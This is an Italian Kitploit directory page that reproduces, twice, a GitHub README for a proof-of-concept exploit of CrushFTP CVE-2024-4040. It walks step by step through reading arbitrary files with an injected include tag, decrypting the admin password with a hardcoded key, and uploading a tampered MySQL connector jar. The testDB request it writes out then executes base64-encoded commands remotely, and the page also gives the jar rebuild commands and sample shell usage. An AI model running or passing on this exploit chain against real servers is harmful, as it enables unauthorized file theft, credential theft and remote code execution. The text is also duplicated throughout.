Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
Strumenti/GitHubGitHub/entroychang/cve-2024-4040
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

Vedi Repository
312 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-4040

Prefazione

  • Di recente mi sono imbattuto in questa vulnerabilità e l'ho trovata piuttosto interessante. Ho letto i seguenti articoli e ho scritto un piccolo exploit.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/

Macchina target

  • Ho usato il docker di qualcun altro; per i dettagli, fate riferimento al GitHub dell'autore.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

Processo di attacco

Ottenere la password

  • Utilizzando exploit.py e decrypt.java si ottiene e decritta la password; in breve, la chiave è hardcoded, quindi può essere decrittata e si possono anche leggere file arbitrari.
  • Nota: se l'admin predefinito, ovvero crushadmin, non esiste, si può provare a recuperare CrushFTP.log, che contiene informazioni utili sugli account.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • La logica è la seguente: prima controlla se il target è vulnerabile, usando quattro account predefiniti esistenti, e tenta di recuperare il file user.XML.
  • Una volta confermata la vulnerabilità, recupera l'account specificato dall'utente; se non viene fornito, viene usato di default l'account admin predefinito crushadmin.
  • Dopo aver ottenuto la password, la decritta con decrypt.java.
  • L'opzione --shell serve per visualizzare comodamente i risultati dopo l'RCE; dopo aver caricato il file jar come descritto di seguito, specificando --jar-path e --headers è possibile vedere il risultato del comando eseguito.
    • Attenzione: in --headers va sempre inserito il Cookie successivo al login, ad esempio --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE".
    • Il valore predefinito di --jar-path è /tmp/mysql_cmd_db_user_final_with_echo_base64.jar; se il file si trova in un'altra posizione, ricordarsi di specificare il percorso. In teoria funzionano anche i percorsi relativi, ma è consigliato usare un percorso assoluto.

Login, regolazione del mapping e dei permessi

  • Dopo il login, accedere alla sezione admin.
  • Trovare User Manager, fare clic sull'utente a sinistra, trascinare la cartella che si desidera mappare nella sezione User's Stuff e infine regolare i permessi: la casella upload deve essere assolutamente spuntata.

Caricare il file jar dannoso

  • Caricare il file jar dannoso. Ne ho già compilati due: uno per JDK 16 e uno per JDK 13; dipende dalla versione di Java utilizzata dal server.
  • Tornare alla sezione files, fare clic su upload e caricare il file jar dannoso.

RCE

  • In breve, l'RCE è possibile perché esiste una funzione testDB che consente di specificare un file jar e un driver object; insieme alla possibilità di caricare file, basta collegare questi due elementi per ottenere l'RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • Il comando nell'immagine è id.
    • Passando il comando codificato in base64 nel parametro db_user, è possibile eseguirlo.
  • Il mysql connector che ho modificato personalmente è la versione 5.0.4.
  • Se le due versioni già compilate non funzionano, fornisco la mia versione modificata, che può essere ricompilata con i seguenti comandi:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *

CVE-2024-4040

Introduzione

  • Recentemente mi sono imbattuto in questa vulnerabilità e l'ho trovata piuttosto interessante. Ho letto i seguenti articoli e ho scritto un breve exploit.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Macchina target

  • Ho usato il docker di qualcun altro. Per i dettagli, fate riferimento al GitHub dell'autore.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp

Processo di attacco

Ottenere la password

  • Usare exploit.py e decrypt.java per ottenere e decrittare la password. La chiave è hardcoded, quindi è possibile decrittarla e leggere file arbitrari.
  • Nota: se l'admin predefinito, crushadmin, non esiste, si può provare a recuperare CrushFTP.log per trovare informazioni sugli account.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • La logica controlla prima se il target è vulnerabile, usando quattro account predefiniti, e tenta di recuperare il file user.XML.
  • Se il target viene confermato vulnerabile, recupera l'account specificato dall'utente; se non viene fornito, usa per impostazione predefinita l'account admin crushadmin.
  • Dopo aver ottenuto la password, usa decrypt.java per decrittarla.
  • La funzione --shell serve per visualizzare comodamente i risultati dopo l'esecuzione remota di codice (RCE). Dopo aver caricato il file jar con la procedura seguente, specificare --jar-path e --headers per vedere il risultato del comando eseguito:
    • Nota: --headers deve includere il Cookie successivo al login, ad esempio --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE".
    • Il valore predefinito di --jar-path è /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Se si trova in un'altra posizione, assicurarsi di specificare il percorso. In teoria funzionano anche i percorsi relativi, ma sono consigliati quelli assoluti.

Login per regolare mapping e permessi

  • Effettuare il login e accedere al pannello admin.
  • Dopo aver trovato User Manager, fare clic sull'utente a sinistra, trascinare la cartella da mappare nella sezione User's Stuff e infine regolare i permessi. Assicurarsi che upload sia spuntato.

Caricare il file jar dannoso

  • Caricare il file jar dannoso. Ho preparato due versioni, una per JDK 16 e una per JDK 13, a seconda della versione Java del server.
  • Tornare alla sezione files, fare clic su upload e caricare il file jar dannoso.

RCE

  • Il motivo dell'RCE è che esiste una funzione testDB in cui è possibile specificare il file jar e il driver object; poiché si possono anche caricare file, combinando questi due elementi si ottiene l'RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • Il comando nell'immagine è id.
    • Passare il comando codificato in base64 nel parametro db_user per eseguirlo.
  • Ho modificato personalmente il mysql connector versione 5.0.4.
  • Se le due versioni compilate non funzionano, fornisco la mia versione modificata, che può essere ricompilata con i seguenti comandi:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
Scarica lo strumento
  • Per uscire, digitare exit.
  • Comando di esempio: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
  • Per uscire, digitare exit.
  • Comando di esempio: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"